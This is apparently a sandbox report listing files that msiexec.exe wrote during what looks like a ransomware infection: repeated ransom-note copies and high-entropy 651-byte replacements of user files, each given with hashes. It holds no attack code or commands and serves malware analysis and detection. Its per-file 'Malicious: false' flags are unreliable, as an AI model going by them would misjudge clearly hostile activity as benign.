SHA-512:	87FC20D7116E7EDAC9946F4F41DA4CD007A781B209B2628F90916C713EC005594E94D2BAB4C55BB06FD77911C8F5868E83C1B98FF82C8B10C5B869C8BADD485E
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\RecoveryStore.{42C64EAF-C693-11E4-8FB8-080027532527}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.660290276185817
Encrypted:	false
MD5:	5FE2B824BEF612C13CFA7AFA39B2FF59
SHA1:	7184FA0AE28E21486896A2557CAF5996722ED86F
SHA-256:	1C55177EF578A63CBF78B49BA0CD18983A6659EB7DCD31F68110C330200422E1
SHA-512:	AB35928F739A92C605EEBBA24BED4540E14F38FBB4314514DBEE30B1B85C0B8362D701F660BBFBB1CAF771D50A5F9619B5F4880F9D069871E06E352F29726C05
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\{ADE42D7F-3124-11E5-8F61-0800274A98E1}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.705912508799214
Encrypted:	false
MD5:	79C1BC6365C69A0FB54833CCC61219DE
SHA1:	ACA0C4CF471F8D7975525ECCC9738D8D8861B11A
SHA-256:	D6AA24D5A3A6A1768ACAE9AF88C43C34278D914EBE69ED129A4ED9B50DEE86A4
SHA-512:	80CC5F5A59443670C204AD925B3A859263FA09BED550D45183EF49D5A9D225E346FA9F27DD364A708F0ABC192D6C0B7DAC0AA49F460ABD343D90BED617B203F2
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\RecoveryStore.{27A7FDBB-87D0-11E1-886C-080027532527}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6833218481988945
Encrypted:	false
MD5:	EF3AB723447EB476617912F8E4E5961F
SHA1:	798E757BF42FB3B0255556C072DAC69486F7E916
SHA-256:	890B8B081557EB54741DE7640EB0BF5F9DB7EBF75FB3A4900FC5160FBB5C564B
SHA-512:	E943D7FEC3D5913959DD00431BD689E095FA6F7D070A19D008872EF3806447202E60BDD5216750C709091E4E5191AD61FBC76DAD2FF95003EFDCCE9D8937390C
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{27A7FDBC-87D0-11E1-886C-080027532527}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688931734740078
Encrypted:	false
MD5:	17D762DC542FCA025AA1B711C46E9D1A
SHA1:	808C66FCF2A2ADA7829FEB6C30CA08B04EE0C84F
SHA-256:	CF0C40A2CB970FD8DEAA037D79E7500486D5AF50EB0E303521D7CE41FAD4F093
SHA-512:	A178399C22DAC7FB3A84D8C1FBD8636665D1FFB1698BA81001C7427DAA8BA0F82EDD1FA8B2D93A8DF8541E4F8EEFE14E573A9B3CCB5974A76BB741D5C0FA9605
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-2845162440\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-2845162440\msapplication.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681463742346223
Encrypted:	false
MD5:	82C5081A3EC27CB5171DE7A1B260838E
SHA1:	8982E9FB90CF1D19337A1FCDFC077DE1EA1B851C
SHA-256:	268C54281D39ADAA0BC628C387C8888E7EBBB2F54136435076A860FC8BF2E11F
SHA-512:	54FCF95B0CF7C3C7E689A7242229FA7671BEAF135A442984A81C71D91C0D132684B7AF906C0F5DA29B11AD35FBFF3A946A20FE4D9B61C47FC2A65A5910AAB1B9
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin9728060290\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin9728060290\msapplication.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696482454287044
Encrypted:	false
MD5:	281DB9BF42186F0BB805C853D80D9C4E
SHA1:	D2B3221FBE608B70FFD255AB4FEB0F62A6BDDCF9
SHA-256:	D337F687AEC05E746FB3C00E45118C582F79346D3CD92B73DFBFEF8A31063087
SHA-512:	4E020360F5FDFBFA40A6876D7D01E78AE64161B4D7B9C2A08A2D8521D89E78C2FDA9EB7D341F02A4D4749596A2D65E982529279A73024051E87C812932C0C4F0
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.bak
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7181124221464135
Encrypted:	false
MD5:	1A644C740E3D3FD720CAD5073E564892
SHA1:	BB2A91B913367F7157C7D7E5AF4D7CC6EA238EC1
SHA-256:	31580C2A10D66E648B19A65ACC8F99DE81316E49E7EECCFC45F10CEC73A08FA5
SHA-512:	FF2CCD084006C84649692B11D0549DDA45B3A0CA4AD3A5ADDE1AB0198FF94C26D36F466DF23B1AB06B42265CE0A7E184628D5AAF78F99C368BE4145BA565B920
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659679777444088
Encrypted:	false
MD5:	A46FC463549F7B70D222CC57028CD73D
SHA1:	925F4763DCE83629C88A4A2DFB0B88B598664C35
SHA-256:	6B83D45C10D7BA41A558D50BB22571EC73FE2DDC53A335D988B5A9D126279F50
SHA-512:	365F61D96C790AC91E23887CF94FB4DC9808994E7DE4A65B0A80861ED4038B2BDC91B0C443D46AD44E8EE0D7F9FD08B45CAFAD24B04198F1878CECDF19B18AD0
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\frameiconcache.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675027625875779
Encrypted:	false
MD5:	080AC7A5E64BBAA6B25C9504600FC4B0
SHA1:	2F56F0D6F5B450BCDE853A7155D53CA4A084C399
SHA-256:	DE6F3FEE4BE77C421BCCFD0B4F3445D354A0F811A466A479C4E2F3520F84237B
SHA-512:	37D4587F7AA839FFBF52791C695194907B8B9C9AE48A0E07B0E30D85C31915D44D7969230332008E40460F82F6C46748BEEB4F5FF17A64CFDC84AF8C67B7376A
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\4h875ks\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\4h875ks\imagestore.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.666003017974076
Encrypted:	false
MD5:	435BA965CAA39438D99E0C93E1E26AC3
SHA1:	81087CBB7BC609B534F83D4ACCFA2B30976CC6FB
SHA-256:	1E57A96731C532189C2699C9953E5F7E11B02EC7D4893E02B752B8036A0A10EC
SHA-512:	79A6AF42911E78D2A2EF0DF26AD3AC4533AE13A77A1EEBA4D22757DAB12D47AAF613CED1D88911EF1B99A45096444CD5E34471C60CE87E977949E867500493A4
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\CurrentDatabase_372.wmdb
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701858984188032
Encrypted:	false
MD5:	2979B959D7DF708E6633797C7FF3E36A
SHA1:	FED7235EF2BC6631E6588113B120CD5B956D8D12
SHA-256:	0A10C210B00BD02980DDC76C05BA8C78CCA1DF30B469F5B96DE14C6BCE3B22A8
SHA-512:	980D232902D159D8DCB19E10CB7002D02D3DE04BF838ED5B9A3CB880F4993D2F3BB76B58B1B5716C8A4824CF657A66B85203A7BB4B8B35E47B7741B9A1899F1A
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669353209289832
Encrypted:	false
MD5:	3BD10E4620B0CD059DF9DDEDD9D089AD
SHA1:	25D25B95A8C251343CE8C492AC85D2A236892CC9
SHA-256:	9AFBE61009238A5FFB0ADEF3D54A716C19BDF240810AC9367D83FBBE56B2AB41
SHA-512:	0FC4709A8D62BCD17867F6B383EA4C683A01BBC9145B0C3484A211724A1FCB5FF1EA94D10573A9C3C99A90A0CC3055E3FB4E6E6618EDD9F6E20C8E244F9D9683
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\01_Music_auto_rated_at_5_stars.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6655813872145515
Encrypted:	false
MD5:	18FF619820026592B9E8959D5693F0AE
SHA1:	1D30913129D77145FE9C7842FF1832A423819CA7
SHA-256:	6229203529859105F9D62BBB831F7254D04D9EEEFDD49C0EDF5671FD1EF1E49E
SHA-512:	B3187C389C2CAEBC5FA4CD8F90E31F9C74210AE6818093913118E8F4EB7AC73FC89D73406938441301EFB64BCC9490349F5608BECC4E6F792DCBF554FE86706B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\02_Music_added_in_the_last_month.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6761508950492825
Encrypted:	false
MD5:	3F7B6F7AFADF2DED7F5A91432091553C
SHA1:	45E1648EAC38A889ABA922BB50AE67622FE049E8
SHA-256:	5B03EF69DBF71C9423E63DE373357A1A04699B554C7E4C87334FC968B651C238
SHA-512:	76678E84CC6FF659A286D5DA98F44DA08B39496419637103ED82217868998D886F88498A04ADC6B7386CBAFF01C906EEC8CB0FC94CA88C18505DDB8D8C6492F6
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\03_Music_rated_at_4_or_5_stars.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.666548139230313
Encrypted:	false
MD5:	F74AF4611E9151D980F921023167D4B6
SHA1:	18C0F71971EB6DD7786D978BE5496F8BD7DDF81D
SHA-256:	1381164F6B2DF49976D4573331C46F84E954C1FC552A15727C5D9302A2F6D7F0
SHA-512:	46DECE1407C888111CF9D8AD51A6229A30A6899055EBFA1E9C9AB1BF0B143FF621FF48A8DC41D9CF26E109AEBAD7615A6F76AEB0863DAE18FAE4EA383121F13E
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\04_Music_played_in_the_last_month.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663244027273136
Encrypted:	false
MD5:	11330D05E0CA666E238D9F9D353F3186
SHA1:	5B344DF8436CF8F4775668F6CDC0D25ABB982CAD
SHA-256:	DB62D10F05BFF36AF8B902DBC1CF5D0A2760C0019D5E4432F8E5E07FAA2CFD40
SHA-512:	FBB72F937D9CCB796DE7C3F87D3E1EC22F4D6FD55144C4E2F7071AFCE8F1D230C42179B46792C533A38B565CCE98E3A2A45DF4F2E5DF4E41C6DC29728495343D
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\05_Pictures_taken_in_the_last_month.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6955600867484035
Encrypted:	false
MD5:	690764E66A59735F356D831E1DED8C01
SHA1:	7AA3FEB62D12A623AFB85A4CAA5188CCB496ACA5
SHA-256:	BA95C463E653A55DB8FB71A71DB05655F4B999ED3C431FC81595DF36C0A7D5F3
SHA-512:	74C4B4BDBC0FB4F613BE2E28BC77C120D785946900DDDA6211B27566B52D0D793C5557608627B6294B5EBC4819CA9F287FCF553B83C7D3E61AB05C3BF5C4A603
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\06_Pictures_rated_4_or_5_stars.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.65918603408771
Encrypted:	false
MD5:	E3E23BD2C1DBB44266D0E31B80305AFE
SHA1:	8442EF9C5D2EF4A52099B1997BE027ABB7B4B02A
SHA-256:	E957C2A0FEC763B703787492705DB4F5496FB5387F16D0FF0B35F8AE761332C6
SHA-512:	6D08CD624784CBE72113E01C219F32BF13EF45F9A04189870D08A250DC8C1212F02684F04D5B4296A27A5670DA2F004F9961A1BFFDEDE5CFA4EC68E936A44A77
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\07_TV_recorded_in_the_last_week.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702072702416284
Encrypted:	false
MD5:	E65931076037E785B67478063B5676E3
SHA1:	04A5DA2E20D23541214FDC539BD42B33DC786938
SHA-256:	1583AF2992CD3F3AA430960CACF11D0667CBB7B283C8AC3C60DD9B4AF85B77A0
SHA-512:	FF796CFF6A4DFCC6768E5AAE012A03A2FAD97C4725DEC1EFF5CB3EDAC54B884922030C045CC8F46F8CFA6EA4AE8B8383AB996D56FE9E625F89A4D7CC996467DD
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\08_Video_rated_at_4_or_5_stars.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691482812909752
Encrypted:	false
MD5:	7DBDE087CF8631D8CC4D96C58CFAE98A
SHA1:	C4274FA4D774091DB70605957F4823C1E368EE06
SHA-256:	5A75F8D0C3A5D404B892F1644F0F33E1FBB3CF9464DE7A8196FE20C45C48E660
SHA-512:	18E58731E985C0A26C5B0DF376D572779894F7C14736FDFD14468C32259AAADBAC3359E5E1DA080970A28D299899F6B5D30AAC1528D2D54C518217B5051F8EE7
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\09_Music_played_the_most.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.668535645457548
Encrypted:	false
MD5:	B941EB65B8EEC2A9F5C7C71ED333E5CE
SHA1:	2DBA5FD43FFFED89B79F6AE46AA35E34795F05A2
SHA-256:	7706A530F40EA63CC085B03E8175ECB38F9B8DFF2CFE7CEA1106164DA674E8A4
SHA-512:	77150EC871D95CC103A0F8FF786EB23456B7995E06FF155CF90171C962CA31DE656298B8572B11FBAE87833488406CFCA645AB11AE72523F28C596BC50EA0D5C
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\10_All_Music.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67003219949488
Encrypted:	false
MD5:	486EC8E29C206F4E1B24CBCCC2F1AA1A
SHA1:	D4976B77A074FFB55B1F8D688EB742CAFADAC81B
SHA-256:	FA7E4737A42D2AA33E98568331C2B36FF7E452146688C7E01B4FEB699B4AB177
SHA-512:	0D4AF070E692CEE03CD6C07D2D2A20226CC5CDFC740DB948F6E83F321550C19DF2699D5C14933B838708912F856BEE8DE686C026E8EE1F44FE8ACF237B792F3A
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\11_All_Pictures.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.646292318456454
Encrypted:	false
MD5:	251771CBA2C9D87AC2E06DF97E51E0B7
SHA1:	A25708FAA7D43890DA48215869C320048527751C
SHA-256:	44FA4F2B0B889F3F543C4149D6E0B626588E5A47AA85AEDF9F91CB36E8DE078E
SHA-512:	A2ACE6D16A5481E0387CDF1337641BDBE2F9DFDCCDBF91FA640F48B20E75868A223DC5287FAE225B0C2AE7B8F868759FF7406813E147782C010B1E6D9665FC01
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\12_All_Video.wpl
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.739389250709589
Encrypted:	false
MD5:	068DA18B1AB8545AED05218865D4B6D9
SHA1:	9015FFB7006A8BE0E049802524CE7053709D2FEB
SHA-256:	89840A7F522E8C8F4DE9DBF01FC1C9724DBFB352B049D77369683FB7A71DF7DE
SHA-512:	C0C1B62EB580987EC9836F91D81A77FD8F6A52B77D503D52846B8ED623C9B7284FAB11E1195B4E9B14FB72C02B497BA7BA89365C950244C029E3BC56575EEDCB
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00259CF7\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new\WindowsMail.MSMessageStore
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.65784205326322
Encrypted:	false
MD5:	59F08DD42E06D6CF54CA4D32DD541628
SHA1:	80563AE61746B94618AE5DF34E0D73B75D609358
SHA-256:	143D3DC26F660A79C873C537B92640300500C1B661AF76EC6BFEEC02DE4FF463
SHA-512:	962FD10ED543A2B875A1D5E2B17E271733140D685CAC25C28A1ABE3C0DD18C4E44C1C0BB0DDF3F900D971792F3D6F8F08A27DF35ABBC8AB05C43D0714360C96D
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new\WindowsMail.pat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.666820581806353
Encrypted:	false
MD5:	5CB92300DA62EDF1B4EDB506D8B616A9
SHA1:	6828B0D020777377B3147192FCA92A0325D706AA
SHA-256:	10EE4B6F07F79F93037386B27A9BAF26992C95BCB40B6CEED7424BD3A12ED448
SHA-512:	B5E5E860F5B4727C24A5E04682EEDCC68841F5A65505DE4790BC497FC9064DAC114586D7F1B56FAC13107EF4B6CCB5CFBB227502129639DF115B6641ADD44C2D
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663411666142812
Encrypted:	false
MD5:	4CB0F17E7CB9D9899781E873E7EA5A30
SHA1:	ADB2E201D0B3520D1D84327789266CE34DF8919F
SHA-256:	8161487CDBCC981026300CB0D3684F07837934E7FA5EC92BCBE569A36BB17BE3
SHA-512:	C0DCF446612B2530421AEA56BA18C6E57BFB09CEC62BA0E46E7A2B09E6DB55670C27EDBD452CEE3CCED9EFEA24ADAFB65FC4BD8672DBA775F275ED1699FE1592
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678832457138407
Encrypted:	false
MD5:	ED6011678B47643373123D5B5A84526A
SHA1:	5ACBD2DB5053C05FE79A83AE0DB7D9F0D7C13C21
SHA-256:	8B50FA898FB4AA25036E09A418FB1613F1D253153A58D13E3245D9E5D2B5EE6F
SHA-512:	647AB4BEB2F090CDEBAD390A1AEC820570A2C5616F6EEA10F3EFE45250F69A5467C9310BEE0EB7547EDC8A95B0BFF260DF0C6D6443F3B005DB341639F1C8D45B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695754270745577
Encrypted:	false
MD5:	C34DE10F7D7B02E74C6FE1CBA69A6057
SHA1:	CB67A0D786A42463EBA2DAE199E8F18172110FF0
SHA-256:	64E8E28EED3DC694A45F7BB0D0AFAB8322770CB034F8450BCE9C072EC798AA31
SHA-512:	C3087B045021EFED8840C9F175E4930272A2759815431A5B6FE980F9C0781B38403CAF04F19BA1FCC82FEFB1615FB0C999C1092449C39E19AB8E04FE33BD4151
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Cave_Drawings.gif
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669893625867652
Encrypted:	false
MD5:	AD95D36E0CDB1DC56D437464E4D96199
SHA1:	85FBA8EDF1483C68AD7C5DCA103FFE05AC4FB2BC
SHA-256:	93658F9EA573DAA0371EBECFF0E1CECD113ED3112440C2611A4A24036039F49A
SHA-512:	2F1B78EAF262FF63A6B4C1A6ED5344A1F85B1E5BB57934911CF37E043CFB97D1BEB061A444B8E8FF8D63C6F51CC8399B8C0E37D601E64316966BCEB6C02B8376
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Connectivity.gif
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.723478083913297
Encrypted:	false
MD5:	49270506899AE109982CE97366245041
SHA1:	F2C6C71B49B815BB7A42B8100D92BB6BB437EA47
SHA-256:	218F032705DA28729244CD16E4C4A4EE9B142C9B1AB09DD8735E5F7610D53584
SHA-512:	32884C38E82A29CAD270E351BEFFBDB72BE414ECFBC0EB7BBE18562BFC2A1646512F19E847B42C37603B154CFB69856D76DC0F6DE78818B216A8380DC1AE75DA
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.705877297574735
Encrypted:	false
MD5:	B215CE163CAED81A02215F4A266470D0
SHA1:	986FDB4A777B8970B45C3B2FC35505DD1606D37B
SHA-256:	0D8CBC408891697359BA8DF3638498F8529537A48741219F94C21C9C424DAF30
SHA-512:	7D08593024E89100C40445AB9F4A1BF702F34032C6CA400C70E52A3FB94BF7829B6E5496A3CE4ADBB678EAB2AADA3F7971AAA8EE76621190960EF51EF7D8F3F8
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Dotted_Lines.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.676057553339911
Encrypted:	false
MD5:	68AA80E935A3D78EE3001E83CBD2C574
SHA1:	5E57F2F5BC85331E864F0BF860ED5A4F285896F0
SHA-256:	47C99E09C49EF51F7F585594CCABF108996000FD5FE7DD41ABBC2638A7B4A5AA
SHA-512:	275FD5290D3B0AC583D757956AA05A91C5228A1F566C1EC999A65B5127210B2BC21A70CE68628B81AED7D3E5990E221FFE376B4C75A7A35EF29635FC4B61E087
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Garden.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.693459958158565
Encrypted:	false
MD5:	A561335A9AD02574D84A866FF7139FBE
SHA1:	78EBE2407EBE64CD9CE1CD8BE0D4EA0301F07D6F
SHA-256:	73E8D48059EC31E7B209A2AFC0B501ADE72D14B3F21242FD1F5EA5046ED54F4C
